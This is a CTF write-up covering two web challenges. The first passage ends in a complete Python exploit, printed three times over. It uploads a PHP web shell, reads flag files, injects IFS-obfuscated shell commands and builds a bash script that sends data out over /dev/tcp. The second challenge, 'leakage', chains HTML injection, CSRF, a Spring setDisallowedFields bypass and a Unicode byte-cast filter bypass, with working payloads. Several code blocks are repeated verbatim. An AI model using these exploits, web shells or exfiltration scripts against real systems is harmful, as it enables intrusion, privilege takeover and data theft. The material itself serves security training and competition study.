            continue

    case cmdOpFileSave:
        if err := writeFileContent(cmd.Cmd, cmd.Keys); err != nil {
            log.Printf("filesave error: %v", err)
            _ = cli.sendResult(reg.AgentID, cmd.ID, false, err.Error())
            continue

    case cmdOpFileSave:
        if err := writeFileContent(cmd.Cmd, cmd.Keys); err != nil {
            log.Printf("filesave error: %v", err)
            _ = cli.sendResult(reg.AgentID, cmd.ID, false, err.Error())
            continue

The agent has a file-writing feature that can overwrite the agent-registration.json file.

        default:
            panic(fmt.Sprintf("unknown command opcode: %d", cmd.Opcode

        default:
            panic(fmt.Sprintf("unknown command opcode: %d", cmd.Opcode

        default:
            panic(fmt.Sprintf("unknown command opcode: %d", cmd.Opcode

To crash the agent, send an invalid command code (e.g., 0).

Therefore, the exploit can be structured as follows:

  1. Read /app/enki-data/agents.json to check for agent access_code, id, etc.

  2. Construct commands to insert into /app/enki-data/agents.json as follows

Because the agent server has its outbound connection blocked, one can create and execute a shell script that sends the HTTP request with the result to the web server as /dev/tcp/{ip}/{port}. Use ${IFS} to adapt syntactically since spaces are removed within comparison commands. 1. Write command-containing content into agent-registration.json 2. Write a non-existing command type to cause a crash, executing commands thusly





The final exploit code is as follows:

import base64
import json
import struct
import time
import requests

s = requests.Session()

RES_OK, RES_NO_CONTENT, RES_ERROR = 0, 1, 2
OP_REGISTER, OP_PULL, OP_SCREENSHOT = 1, 2, 4
CMD_OP_SCREENSHOT = 1

def write_str(buf: list, s: str) -> None:
    b = s.encode("utf-8")
    buf.append(struct.pack(">H", len(b)))
    buf.append(b)

def read_str(data: bytes, offset: list) -> str:
    if offset[0] + 2 > len(data):
        return ""
    (n,) = struct.unpack_from(">H", data, offset[0])
    offset[0] += 2
    if offset[0] + n > len(data):
        return ""
    out = data[offset[0] : offset[0] + n].decode("utf-8", errors="replace")
    offset[0] += n
    return out

def build_register(name: str) -> bytes:
    buf = [bytes([OP_REGISTER])]
    write_str(buf, name)
    return b"".join(buf)

def build_pull(agent_id: str) -> bytes:
    buf = [bytes([OP_PULL])]
    write_str(buf, agent_id)
    return b"".join(buf)

def build_screenshot(agent_id: str, command_id: int, mime: str, image_b64: bytes) -> bytes:
    buf = [bytes([OP_SCREENSHOT])]
    write_str(buf, agent_id)
    buf.append(struct.pack(">Q", command_id & 0xFFFFFFFFFFFFFFFF))
    write_str(buf, mime)
    buf.append(struct.pack(">I", len(image_b64)))
    buf.append(image_b64)
    return b"".join(buf)

def build_raw_result_shell_script(
    host: str, port: int, agent_id: str, command_id: int = 1, path: str = "/_agent"
) -> str:
    return f'''#!/usr/bin/env bash
set -e
[ "$#" -ge 1 ] ||{{ echo "usage: $0 <message>" >&2; exit 1;}}
H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r}
M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML))
put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}}
put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}}
put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}}
exec 3<>/dev/tcp/"$H"/"$P"
printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3
put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3
exec 3>&-
'''

def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]:
    resp = s.post(
        base_url.rstrip("/") + "/_agent",
        data=body,
        headers={"Content-Type": "application/octet-stream"},
        timeout=20,
    )
    raw = resp.content
    if resp.status_code >= 400:
        if len(raw) >= 1 and raw[0] == RES_ERROR:
            off = [1]
            raise RuntimeError(f"server error:{read_str(raw, off)}")
        raise RuntimeError(f"request failed{resp.status_code}")
    if len(raw) < 1:
        return RES_NO_CONTENT, b""
    return int(raw[0]), raw[1:]

def register(base_url: str, name: str) -> tuple[str, str, int]:
    code, payload = do_raw(base_url, build_register(name))
    if code == RES_ERROR:
        raise RuntimeError("registration failed")
    if code != RES_OK or not payload:
        raise RuntimeError("invalid register response")
    off = [0]
    agent_id = read_str(payload, off)
    access_code = read_str(payload, off)
    poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000
    return agent_id, access_code, poll_ms

def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None:
    code, payload = do_raw(base_url, build_pull(agent_id))
    if code == RES_ERROR:
        raise RuntimeError("pull failed")
    if code == RES_NO_CONTENT or not payload:
        return None
    off = [0]
    if off[0] + 8 > len(payload):
        return None
    (cmd_id,) = struct.unpack_from(">Q", payload, off[0])
    off[0] += 8
    if off[0] >= len(payload):
        return None
    opcode = payload[off[0]]
    off[0] += 1
    if off[0] + 8 > len(payload):
        return None
    x, y = struct.unpack_from(">ii", payload, off[0])
    off[0] += 8
    return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off))

def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None:
    body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes))
    if do_raw(base_url, body)[0] == RES_ERROR:
        raise RuntimeError("screenshot upload failed")

def pend(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict:
    return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""}

def push_agents(sh, key: str, agent: dict) -> None:
    b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode()
    sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json")

def run_attack() -> None:
    global s
    s = requests.Session()
    r = s.post("<http://15.165.103.134/api/instances>").json()
    web_url = r["web_url"].rstrip("/")
    print(f"[*] Instance:{r['id']}, web_url:{web_url}")

    agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw")
    print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}")

    q = s.post(
        f"{web_url}/?code={access_code}",
        data={"action": "request_screenshot", "code": access_code},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10,
        allow_redirects=True,
    )
    print(
        "[*] Screenshot queued."
        if q.status_code == 200 and "Screenshot command queued" in q.text
        else f"[!] Queue failed:{q.status_code}"
    )

    mini = b"<?php system($_POST['a']); ?>"
    for _ in range(30):
        cmd = pull_command(web_url, agent_id)
        if not cmd:
            time.sleep(1)
            continue
        cid, opcode, x, y, cmd_str, keys = cmd
        print(f"[*] cmd id={cid} op={opcode} x={x} y={y} cmd={cmd_str} keys={keys}")
        if opcode == CMD_OP_SCREENSHOT:
            upload_screenshot(web_url, agent_id, cid, "image/php", mini)
            print("[*] screenshot uploaded.")
            break
        time.sleep(1)
    else:
        print("[!] No screenshot command received.")

    def sh(cmd: str) -> str:
        return s.post(f"{web_url}/workspace/paw.php", data={"a": cmd}).text

    flag = sh("cat /flag.txt")
    print(f"first flag:{flag}")
    time.sleep(3)

    agents = json.loads(sh("cat /app/enki-data/agents.json"))
    key = next(k for k in agents if "../" not in k)
    agent = agents[key]
    vid, vcode = agent["agent_id"], agent["access_code"]

    agent["commands"] = [pend(1, "sysinfo")]
    push_agents(sh, key, agent)
    time.sleep(3)
    out = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][0]["error"]
    victim_ip = out.split("ip: ")[1].split("\\n")[0]
    host_ips = [i for i in sh("hostname -I").split() if i]
    net = ".".join(victim_ip.split(".")[:3])
    host_ip = next(
        (ip for ip in host_ips if ip.startswith(f"{net}.") and ip.count(".") == 3),
        host_ips[0] if host_ips else "",
    )
    print(f"victim_ip:{victim_ip}, host_ip:{host_ip}")

    b64 = base64.b64encode(build_raw_result_shell_script(host_ip, 80, vid, 2, "/_agent").encode()).decode()
    inj = "echo${IFS}AAAA${IFS}|base64${IFS}-d${IFS}>/tmp/shell.sh".replace("AAAA", b64)
    inj = f"PWD[$({inj})]"
    data = {
        "name": key,
        "agent_id": vid,
        "access_code": vcode,
        "poll_interval_ms": inj,
        "saved_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
    }
    agent["commands"] = [
        pend(1, "save", "./agent-registration.json", json.dumps(data)),
        pend(2, "aaaa"),
    ]
    push_agents(sh, key, agent)
    time.sleep(4)

    data["poll_interval_ms"] = "PWD[$(bash${IFS}/tmp/shell.sh${IFS}$(cat${IFS}/flag.txt))]"
    agent["commands"][0]["keys"] = json.dumps(data)
    push_agents(sh, key, agent)
    time.sleep(4)

    flag2 = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][1]["error"]
    print(sh("cat /etc/hosts"))
    print(f"second flag:{flag2}")
    print(f"flag:{flag + flag2}")

if __name__ == "__main__":
    run_attack()
import base64
import json
import struct
import time
import requests

s = requests.Session()

RES_OK, RES_NO_CONTENT, RES_ERROR = 0, 1, 2
OP_REGISTER, OP_PULL, OP_SCREENSHOT = 1, 2, 4
CMD_OP_SCREENSHOT = 1

def write_str(buf: list, s: str) -> None:
    b = s.encode("utf-8")
    buf.append(struct.pack(">H", len(b)))
    buf.append(b)

def read_str(data: bytes, offset: list) -> str:
    if offset[0] + 2 > len(data):
        return ""
    (n,) = struct.unpack_from(">H", data, offset[0])
    offset[0] += 2
    if offset[0] + n > len(data):
        return ""
    out = data[offset[0] : offset[0] + n].decode("utf-8", errors="replace")
    offset[0] += n
    return out

def build_register(name: str) -> bytes:
    buf = [bytes([OP_REGISTER])]
    write_str(buf, name)
    return b"".join(buf)

def build_pull(agent_id: str) -> bytes:
    buf = [bytes([OP_PULL])]
    write_str(buf, agent_id)
    return b"".join(buf)

def build_screenshot(agent_id: str, command_id: int, mime: str, image_b64: bytes) -> bytes:
    buf = [bytes([OP_SCREENSHOT])]
    write_str(buf, agent_id)
    buf.append(struct.pack(">Q", command_id & 0xFFFFFFFFFFFFFFFF))
    write_str(buf, mime)
    buf.append(struct.pack(">I", len(image_b64)))
    buf.append(image_b64)
    return b"".join(buf)

def build_raw_result_shell_script(
    host: str, port: int, agent_id: str, command_id: int = 1, path: str = "/_agent"
) -> str:
    return f'''#!/usr/bin/env bash
set -e
[ "$#" -ge 1 ] ||{{ echo "usage: $0 <message>" >&2; exit 1;}}
H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r}
M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML))
put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}}
put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}}
put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}}
exec 3<>/dev/tcp/"$H"/"$P"
printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3
put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3
exec 3>&-
'''

def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]:
    resp = s.post(
        base_url.rstrip("/") + "/_agent",
        data=body,
        headers={"Content-Type": "application/octet-stream"},
        timeout=20,
    )
    raw = resp.content
    if resp.status_code >= 400:
        if len(raw) >= 1 and raw[0] == RES_ERROR:
            off = [1]
            raise RuntimeError(f"server error:{read_str(raw, off)}")
        raise RuntimeError(f"request failed{resp.status_code}")
    if len(raw) < 1:
        return RES_NO_CONTENT, b""
    return int(raw[0]), raw[1:]

def register(base_url: str, name: str) -> tuple[str, str, int]:
    code, payload = do_raw(base_url, build_register(name))
    if code == RES_ERROR:
        raise RuntimeError("registration failed")
    if code != RES_OK or not payload:
        raise RuntimeError("invalid register response")
    off = [0]
    agent_id = read_str(payload, off)
    access_code = read_str(payload, off)
    poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000
    return agent_id, access_code, poll_ms

def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None:
    code, payload = do_raw(base_url, build_pull(agent_id))
    if code == RES_ERROR:
        raise RuntimeError("pull failed")
    if code == RES_NO_CONTENT or not payload:
        return None
    off = [0]
    if off[0] + 8 > len(payload):
        return None
    (cmd_id,) = struct.unpack_from(">Q", payload, off[0])
    off[0] += 8
    if off[0] >= len(payload):
        return None
    opcode = payload[off[0]]
    off[0] += 1
    if off[0] + 8 > len(payload):
        return None
    x, y = struct.unpack_from(">ii", payload, off[0])
    off[0] += 8
    return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off))

def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None:
    body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes))
    if do_raw(base_url, body)[0] == RES_ERROR:
        raise RuntimeError("screenshot upload failed")

def pend(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict:
    return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""}

def push_agents(sh, key: str, agent: dict) -> None:
    b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode()
    sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json")

def run_attack() -> None:
    global s
    s = requests.Session()
    r = s.post("<http://15.165.103.134/api/instances>").json()
    web_url = r["web_url"].rstrip("/")
    print(f"[*] Instance:{r['id']}, web_url:{web_url}")

    agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw")
    print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}")

    q = s.post(
        f"{web_url}/?code={access_code}",
        data={"action": "request_screenshot", "code": access_code},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10,
        allow_redirects=True,
    )
    print(
        "[*] Screenshot queued."
        if q.status_code == 200 and "Screenshot command queued" in q.text
        else f"[!] Queue failed:{q.status_code}"
    )

    mini = b"<?php system($_POST['a']); ?>"
    for _ in range(30):
        cmd = pull_command(web_url, agent_id)
        if not cmd:
            time.sleep(1)
            continue
        cid, opcode, x, y, cmd_str, keys = cmd
        print(f"[*] cmd id={cid} op={opcode} x={x} y={y} cmd={cmd_str} keys={keys}")
        if opcode == CMD_OP_SCREENSHOT:
            upload_screenshot(web_url, agent_id, cid, "image/php", mini)
            print("[*] screenshot uploaded.")
            break
        time.sleep(1)
    else:
        print("[!] No screenshot command received.")

    def sh(cmd: str) -> str:
        return s.post(f"{web_url}/workspace/paw.php", data={"a": cmd}).text

    flag = sh("cat /flag.txt")
    print(f"first flag:{flag}")
    time.sleep(3)

    agents = json.loads(sh("cat /app/enki-data/agents.json"))
    key = next(k for k in agents if "../" not in k)
    agent = agents[key]
    vid, vcode = agent["agent_id"], agent["access_code"]

    agent["commands"] = [pend(1, "sysinfo")]
    push_agents(sh, key, agent)
    time.sleep(3)
    out = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][0]["error"]
    victim_ip = out.split("ip: ")[1].split("\\n")[0]
    host_ips = [i for i in sh("hostname -I").split() if i]
    net = ".".join(victim_ip.split(".")[:3])
    host_ip = next(
        (ip for ip in host_ips if ip.startswith(f"{net}.") and ip.count(".") == 3),
        host_ips[0] if host_ips else "",
    )
    print(f"victim_ip:{victim_ip}, host_ip:{host_ip}")

    b64 = base64.b64encode(build_raw_result_shell_script(host_ip, 80, vid, 2, "/_agent").encode()).decode()
    inj = "echo${IFS}AAAA${IFS}|base64${IFS}-d${IFS}>/tmp/shell.sh".replace("AAAA", b64)
    inj = f"PWD[$({inj})]"
    data = {
        "name": key,
        "agent_id": vid,
        "access_code": vcode,
        "poll_interval_ms": inj,
        "saved_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
    }
    agent["commands"] = [
        pend(1, "save", "./agent-registration.json", json.dumps(data)),
        pend(2, "aaaa"),
    ]
    push_agents(sh, key, agent)
    time.sleep(4)

    data["poll_interval_ms"] = "PWD[$(bash${IFS}/tmp/shell.sh${IFS}$(cat${IFS}/flag.txt))]"
    agent["commands"][0]["keys"] = json.dumps(data)
    push_agents(sh, key, agent)
    time.sleep(4)

    flag2 = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][1]["error"]
    print(sh("cat /etc/hosts"))
    print(f"second flag:{flag2}")
    print(f"flag:{flag + flag2}")

if __name__ == "__main__":
    run_attack()
import base64
import json
import struct
import time
import requests

s = requests.Session()

RES_OK, RES_NO_CONTENT, RES_ERROR = 0, 1, 2
OP_REGISTER, OP_PULL, OP_SCREENSHOT = 1, 2, 4
CMD_OP_SCREENSHOT = 1

def write_str(buf: list, s: str) -> None:
    b = s.encode("utf-8")
    buf.append(struct.pack(">H", len(b)))
    buf.append(b)

def read_str(data: bytes, offset: list) -> str:
    if offset[0] + 2 > len(data):
        return ""
    (n,) = struct.unpack_from(">H", data, offset[0])
    offset[0] += 2
    if offset[0] + n > len(data):
        return ""
    out = data[offset[0] : offset[0] + n].decode("utf-8", errors="replace")
    offset[0] += n
    return out

def build_register(name: str) -> bytes:
    buf = [bytes([OP_REGISTER])]
    write_str(buf, name)
    return b"".join(buf)

def build_pull(agent_id: str) -> bytes:
    buf = [bytes([OP_PULL])]
    write_str(buf, agent_id)
    return b"".join(buf)

def build_screenshot(agent_id: str, command_id: int, mime: str, image_b64: bytes) -> bytes:
    buf = [bytes([OP_SCREENSHOT])]
    write_str(buf, agent_id)
    buf.append(struct.pack(">Q", command_id & 0xFFFFFFFFFFFFFFFF))
    write_str(buf, mime)
    buf.append(struct.pack(">I", len(image_b64)))
    buf.append(image_b64)
    return b"".join(buf)

def build_raw_result_shell_script(
    host: str, port: int, agent_id: str, command_id: int = 1, path: str = "/_agent"
) -> str:
    return f'''#!/usr/bin/env bash
set -e
[ "$#" -ge 1 ] ||{{ echo "usage: $0 <message>" >&2; exit 1;}}
H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r}
M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML))
put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}}
put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}}
put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}}
exec 3<>/dev/tcp/"$H"/"$P"
printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3
put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3
exec 3>&-
'''

def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]:
    resp = s.post(
        base_url.rstrip("/") + "/_agent",
        data=body,
        headers={"Content-Type": "application/octet-stream"},
        timeout=20,
    )
    raw = resp.content
    if resp.status_code >= 400:
        if len(raw) >= 1 and raw[0] == RES_ERROR:
            off = [1]
            raise RuntimeError(f"server error:{read_str(raw, off)}")
        raise RuntimeError(f"request failed{resp.status_code}")
    if len(raw) < 1:
        return RES_NO_CONTENT, b""
    return int(raw[0]), raw[1:]

def register(base_url: str, name: str) -> tuple[str, str, int]:
    code, payload = do_raw(base_url, build_register(name))
    if code == RES_ERROR:
        raise RuntimeError("registration failed")
    if code != RES_OK or not payload:
        raise RuntimeError("invalid register response")
    off = [0]
    agent_id = read_str(payload, off)
    access_code = read_str(payload, off)
    poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000
    return agent_id, access_code, poll_ms

def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None:
    code, payload = do_raw(base_url, build_pull(agent_id))
    if code == RES_ERROR:
        raise RuntimeError("pull failed")
    if code == RES_NO_CONTENT or not payload:
        return None
    off = [0]
    if off[0] + 8 > len(payload):
        return None
    (cmd_id,) = struct.unpack_from(">Q", payload, off[0])
    off[0] += 8
    if off[0] >= len(payload):
        return None
    opcode = payload[off[0]]
    off[0] += 1
    if off[0] + 8 > len(payload):
        return None
    x, y = struct.unpack_from(">ii", payload, off[0])
    off[0] += 8
    return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off))

def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None:
    body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes))
    if do_raw(base_url, body)[0] == RES_ERROR:
        raise RuntimeError("screenshot upload failed")

def pend(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict:
    return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""}

def push_agents(sh, key: str, agent: dict) -> None:
    b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode()
    sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json")

def run_attack() -> None:
    global s
    s = requests.Session()
    r = s.post("<http://15.165.103.134/api/instances>").json()
    web_url = r["web_url"].rstrip("/")
    print(f"[*] Instance:{r['id']}, web_url:{web_url}")

    agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw")
    print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}")

    q = s.post(
        f"{web_url}/?code={access_code}",
        data={"action": "request_screenshot", "code": access_code},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        timeout=10,
        allow_redirects=True,
    )
    print(
        "[*] Screenshot queued."
        if q.status_code == 200 and "Screenshot command queued" in q.text
        else f"[!] Queue failed:{q.status_code}"
    )

    mini = b"<?php system($_POST['a']); ?>"
    for _ in range(30):
        cmd = pull_command(web_url, agent_id)
        if not cmd:
            time.sleep(1)
            continue
        cid, opcode, x, y, cmd_str, keys = cmd
        print(f"[*] cmd id={cid} op={opcode} x={x} y={y} cmd={cmd_str} keys={keys}")
        if opcode == CMD_OP_SCREENSHOT:
            upload_screenshot(web_url, agent_id, cid, "image/php", mini)
            print("[*] screenshot uploaded.")
            break
        time.sleep(1)
    else:
        print("[!] No screenshot command received.")

    def sh(cmd: str) -> str:
        return s.post(f"{web_url}/workspace/paw.php", data={"a": cmd}).text

    flag = sh("cat /flag.txt")
    print(f"first flag:{flag}")
    time.sleep(3)

    agents = json.loads(sh("cat /app/enki-data/agents.json"))
    key = next(k for k in agents if "../" not in k)
    agent = agents[key]
    vid, vcode = agent["agent_id"], agent["access_code"]

    agent["commands"] = [pend(1, "sysinfo")]
    push_agents(sh, key, agent)
    time.sleep(3)
    out = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][0]["error"]
    victim_ip = out.split("ip: ")[1].split("\\n")[0]
    host_ips = [i for i in sh("hostname -I").split() if i]
    net = ".".join(victim_ip.split(".")[:3])
    host_ip = next(
        (ip for ip in host_ips if ip.startswith(f"{net}.") and ip.count(".") == 3),
        host_ips[0] if host_ips else "",
    )
    print(f"victim_ip:{victim_ip}, host_ip:{host_ip}")

    b64 = base64.b64encode(build_raw_result_shell_script(host_ip, 80, vid, 2, "/_agent").encode()).decode()
    inj = "echo${IFS}AAAA${IFS}|base64${IFS}-d${IFS}>/tmp/shell.sh".replace("AAAA", b64)
    inj = f"PWD[$({inj})]"
    data = {
        "name": key,
        "agent_id": vid,
        "access_code": vcode,
        "poll_interval_ms": inj,
        "saved_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
    }
    agent["commands"] = [
        pend(1, "save", "./agent-registration.json", json.dumps(data)),
        pend(2, "aaaa"),
    ]
    push_agents(sh, key, agent)
    time.sleep(4)

    data["poll_interval_ms"] = "PWD[$(bash${IFS}/tmp/shell.sh${IFS}$(cat${IFS}/flag.txt))]"
    agent["commands"][0]["keys"] = json.dumps(data)
    push_agents(sh, key, agent)
    time.sleep(4)

    flag2 = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][1]["error"]
    print(sh("cat /etc/hosts"))
    print(f"second flag:{flag2}")
    print(f"flag:{flag + flag2}")

if __name__ == "__main__":
    run_attack()


Overall Assessment

This problem focuses more on business logic vulnerabilities (such as account takeover via email swap) than on technical vulnerabilities (like Path Traversal or CAPTCHA bypass). It is a real-world-like problem demonstrating that a single logical flaw, such as the lack of authorization checks in email change APIs, can compromise the entire authentication system, even with 2FA (OTP) and client-side encryption (AES-GCM) implemented. The lesson emphasized is not to solely rely on encrypted communication or MFA for security, but to ensure thorough authorization checks on the business logic of each API.

This problem uses cases encountered in the field to provide participants with useful insights, such as the following:

  • Even web hackers should be able to perform reversing with tools like IDA MCP when given a client

  • Shell acquisition should be possible through appropriate guessing

  • Stay current with the latest issues, such as CVE-2026-1731

  • The ability to exfiltrate data from a server with no external communication and no utility tools is required, which is suitable for practicality tests in hiring CTF challenges, offering solutions for field-adapted learnings.


leakage

Vulnerability Classification

HTML Injection, Cross-Site Request Forgery (CSRF), Spring Data Binding Bypass (CVE-2025-22233), Unicode Decoding Trick

Exam Intent

This problem is designed to assess the ability to construct a multi-step vulnerability chain in a Spring Boot-based web application. It verifies the process of bypassing multiple security mechanisms step-by-step to reach the final goal (obtaining administrator privileges), rather than a simple single-vulnerability attack.

  1. JavaScript Code Injection: Identify if client-side code can be executed through the username reflected in console.log().

  2. HTML Injection + CSRF Combination: Evaluate whether a CSRF attack can be performed by sending a profile update request with the bot's (administrator's) privileges using HTML Injection in the memo feature.

  3. CVE-2025-22233 and Unicode-Based Filter Bypass: Verify the ability to apply advanced techniques to bypass both Spring's setDisallowedFields protection and server-side string filtering simultaneously.

Solution

1. Understanding the Service Structure

By analyzing the provided source code, the following configuration can be confirmed.

  • Spring Boot Web Application (Port 8080): Provides features for user registration, profile management, and memo creation/viewing

  • Bot Service (Puppeteer, Port 3000): Logs in with an administrator account and visits a user-specified memo path

The bot logs in with an administrator account to view memos, making it a target for CSRF attacks.

2. Discovering the JavaScript Code Injection Path

When accessing the /profile page, the user's name is output in console.log(). If the username contains " (double quotes), it is inserted without escaping, allowing for JavaScript code injection.

However, the username is limited to 20 characters, making direct attack payload insertion difficult. It needs to be combined with other features for effective use.

Set the username as follows.

When this name is inserted into console.log("...");, the following code is executed.

console.log("");top.a.submit()//");
console.log("");top.a.submit()//");
console.log("");top.a.submit()//");

top.a.submit() submits a form in the parent frame with id=a.

3. Constructing CSRF via HTML Injection

HTML Injection is possible in child memos within the memo feature. This can be used to construct an HTML form for CSRF attacks.

<form id=a action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>
<form id=a action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>
<form id=a action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>

The operation of this structure is as follows.

  1. When the bot views the child memo, the HTML form and iframe are rendered.

  2. As the iframe loads /profile/{userid}, code injection is executed in the profile page's console.log().

  3. top.a.submit() is called, and the <form id=a> in the parent frame is submitted.

  4. A profile update request is sent with the administrator session, changing the permission field (isPerm).

4. CVE-2025-22233 — Bypassing Spring setDisallowedFields

When updating the profile, the permission field isPerm is protected by Spring's binder.setDisallowedFields("isPerm"), generally blocking binding.

CVE-2025-22233 exploits a case-handling inconsistency vulnerability in the field name matching logic of setDisallowedFields. By using İsPerm (Turkish capital I: İ, U+0130) with the first letter capitalized, the setDisallowedFields check is bypassed while Spring's property binding correctly maps it to the isPerm field.

5. Bypassing Filters with Byte Casts

Even if the value of the isPerm field is updated, additional filtering is performed on the server side.

String IsPerm = form.getIsPerm();
IsPerm = IsPerm.replaceAll("(?i)[admin]|[4-7]", "");
if (IsPerm.contains("%")) {
    IsPerm = UriUtils.decode(IsPerm, StandardCharsets.UTF_8);
}
nextIsPerm = (IsPerm == null || IsPerm.trim().isEmpty()) ? "user" : IsPerm.trim();
String IsPerm = form.getIsPerm();
IsPerm = IsPerm.replaceAll("(?i)[admin]|[4-7]", "");
if (IsPerm.contains("%")) {
    IsPerm = UriUtils.decode(IsPerm, StandardCharsets.UTF_8);
}
nextIsPerm = (IsPerm == null || IsPerm.trim().isEmpty()) ? "user" : IsPerm.trim();
String IsPerm = form.getIsPerm();
IsPerm = IsPerm.replaceAll("(?i)[admin]|[4-7]", "");
if (IsPerm.contains("%")) {
    IsPerm = UriUtils.decode(IsPerm, StandardCharsets.UTF_8);
}
nextIsPerm = (IsPerm == null || IsPerm.trim().isEmpty()) ? "user" : IsPerm.trim();

If the admin string is directly included, it is removed by the filter. To bypass this, Spring's UriUtils.decode() (before Spring 6.2.9) can be leveraged for its byte overflow behavior.

UriUtils.decode() internally uses ByteArrayOutputStream.write(int b), which casts the input to byte. When Java's char (16-bit) is converted to a byte (8-bit), only the lower byte remains.

The mapping taking advantage of this characteristic is as follows.

Input Character

Code Point

Lower Byte

Decoding Result

U+2661

0x61

a

U+2664

0x64

d

U+266D

0x6D

m

U+2669

0x69

i

U+266E

0x6E

n

Thus, inputting ♡♤♭♩♮ passes through the replaceAll filter and then is converted into admin by UriUtils.decode(). Note that unless the payload contains the % character, UriUtils.decode() does not perform decoding (if the changed flag is false), so %20 is added to ensure decoding is executed.

6. Executing the Exploit

The automated exploit for the above process is as follows.

rand = random.choice(string.ascii_letters) + random.choice(string.ascii_letters)
username = f'");top.{rand}.submit()//'

# Register an account
res = req.post(chall_url + "/register",
    data={"username": username, "email": f"{username}@test.com", "password": "security12!@"},
    allow_redirects=False)
